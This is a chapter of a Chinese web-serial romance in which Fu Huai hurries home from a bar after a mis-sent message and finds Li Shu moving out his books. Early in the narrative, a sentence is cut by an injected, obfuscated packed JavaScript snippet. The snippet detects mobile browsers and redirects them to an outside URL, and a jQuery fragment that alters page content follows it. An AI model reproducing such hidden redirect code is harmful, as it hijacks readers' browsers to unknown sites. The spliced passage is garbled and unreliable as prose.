刚从书房里出来的黎书注意到有什么不对,迅速撤回了先前的两条信息。 刚刚手机的网络延迟,他本来想要点开陈杨的对话框的,然而,打完字发过去之后,才发现竟然误发给了傅淮。 黎书很快撤回了那两条信息。 而这边的傅淮顿时炸了。 傅淮差点就一拍桌子站了起来,抬手飞速打字给黎书发道:“什么?你本来要发给谁?你和谁有老地方?” “这么晚了你们两个要去干什么?你在哪儿?我去找你!” 黎书:“……” 他只是刚刚想起,傅淮大概是用不上他刚刚买的靠垫了,想趁这个时间把靠垫给陈杨送过去,如果没吃饭的话就一起吃个饭。 什么老地方,只是他平时去找陈杨时,两人经常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776636|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰头的学校北门。 解释起来有些复杂,黎书也没想和傅淮说本来给他买了个靠垫的事。 他想了想,给傅淮回了一句:“你在外面玩吧,我有点事情,就先不聊了。” 傅淮又是一愣。 所以黎书这是知道他在酒吧了? 所以,才故意这样气他的吗? 好不容易项目结束了,他偶尔出来玩玩怎么了? 傅淮也顿时赌气道:“我也有事情,晚上不回来了。” 然而,他这样发过去之后,等了片刻,黎书却没回他了。 “真不回来了,在酒吧这里聚会呢。” 傅淮拿起手机,拍了一张酒吧的照片,给黎书发了过去。 然而,对面依旧还是没有回复。 “酒吧里人可多了,各种各样的人。” 傅淮又发了一句。 还是没回。 不会是在闹别扭,正在组织措辞吧? 傅淮点开对话框,紧盯着屏幕上方,期待着有“对方正在输入”这几个字样的出现。 就这么盯了半晌,对面都没有任何动静。 傅淮顿时有些慌了。 黎书不会真生气了吧? 然后,躲在家里偷偷哭? 傅淮瞬间又抄起手机,对着旁边的张延和周阅拍了一张,迅速给黎书发了过去:“都是朋友,没别人,也没有喝酒。” “好吧,喝了一小杯,就是果酒,不会醉的。” “你稍微等一会儿啊,我马上回来。” “拍什么呢?”一旁的周阅发现了傅淮的动作,好奇地探头看了过来。 看见傅淮屏幕上那一大串给黎书发过去的文字之后,周阅像是突然想起什么,忙掏出手机给傅淮看道:“对了淮哥,你看这个!” 傅淮低头一看。 周阅递过来的手机屏幕上,赫然显示着舒许不久前刚发的朋友圈。 ——一张酒吧里热闹场景的照片,并附上文字,暗示他和傅淮一起在酒吧里玩闹。 傅淮顿时后背一凉。 还真是和他刚刚胡扯的给对上了! 随之而来的便是一阵怒意。 黎书肯定是看了这个,所以才生气不理他了! 傅淮本来以为,之前他把舒许从公司赶了出去,这人就能稍微消停一些了,没想到现在还是这样。 看来,还得要好好解决一下。 这么想着,傅淮赶紧又拿起手机,低头给黎书发信息道:“没和舒许一起,我根本就没见着他。” “不是,见着他了我也不可能和他一起。” “我跟他什么关系都没有,你别听他瞎说,我每次听见他说话就起鸡皮疙瘩。” 打完这一大通字之后,傅淮和张延周阅他们打了个招呼,就匆匆站起身来从酒吧跑了出去,随手从外面打了一辆他平时几乎不坐的出租车。 手机对面的黎书依旧没有什么动静。 傅淮又继续低头骚扰他道:“在路上了,吃小蛋糕吗?” 他给黎书发了一张他刚买的蛋糕的照片,想了想,又很快撤回,继续发道:“新开的蛋糕店,买多了吃不完,你要吃自己拿哦。” 依旧没有回复之后,傅淮忍不住探头,对着前面的司机说道:“师傅,能开快点吗?我给你加钱!” 倒不是他有多在意黎书。 傅淮想着。 只是,黎书躲在家里偷偷哭的时间长了,第二天红着眼睛去实验室,别人岂不是会以为他欺负黎书了? 他是这样的人吗? 听到“加钱”这两个字,司机很是上道的一脚油门下去。 破旧的出租车呼啦呼啦的喘着气,倒是很快把傅淮拉到了家门口。 从车上下来,傅淮直奔别墅走去。 一进客厅,傅淮赶紧上下环视一周,想要找到黎书偷偷躲起来哭的背影。 然而,这么看了一圈之后,傅淮却发现,家里的灯亮着,但黎书似乎并不在里面。 他人呢? 这么晚了,他去哪里了? 他正要拿出手机,直接给黎书拨个电话过去。 就在这时,傅淮一抬眼就看见,黎书从大门口走了进来,神色淡淡,完全没有半点傅淮刚刚想象中的躲在家里哭的样子。 看见傅淮,黎书愣了一下,说了一句:“这么早就回来了?” 傅淮抬眼一看客厅里的表,此时已经将近零点。 “这还早?” 黎书没有回答他,只匆匆走进书房,又搬着一大摞书走了来,直直地往外走去。 傅淮抬眼一看,这才惊讶发现,他刚刚是从后面的小门抄近路进来的,没有发现,大门外面,竟然停着一辆面包车。 而黎书从书房搬着一大叠资料出来,正要伸手往车上放。 之前黎书找的那边的房子已经签好合同了,也已经提前打扫干净了。 趁着傅淮不在,黎书就想着赶紧把书房里的资料给搬过去。 没想到傅淮这次竟然这么早就回来了,正好撞见了他在搬书房。 傅淮一瞬间也意识到了黎书这是在干什么,顿时瞪大眼睛惊道:“你这是要搬走?” “我没有……” 黎书紧急脑子一动,想说他只是把要用的书搬到学校。 而傅淮却像是什么也没听见那样,直接大步上前,一伸手握住了他的手腕说道:“你不许搬!” “我刚刚不是这个意思,我没有不回家!”傅淮顿时急道,“我和舒许也没有任何关系,你不要误会……” “我也不是这个意思。” 黎书也有些惊了,他怎么也没想到,傅淮竟然会直接上手拦他。 黎书稍稍使了点力,想把自己的手腕从傅淮手里抽出来。 就在两人推搡之中—— 黎书手里搬的那一叠书里面,突然有一张纸,晃晃悠悠地从里面掉了出来。 黎书脑中“轰”的一声,顿时浑身紧绷了起来。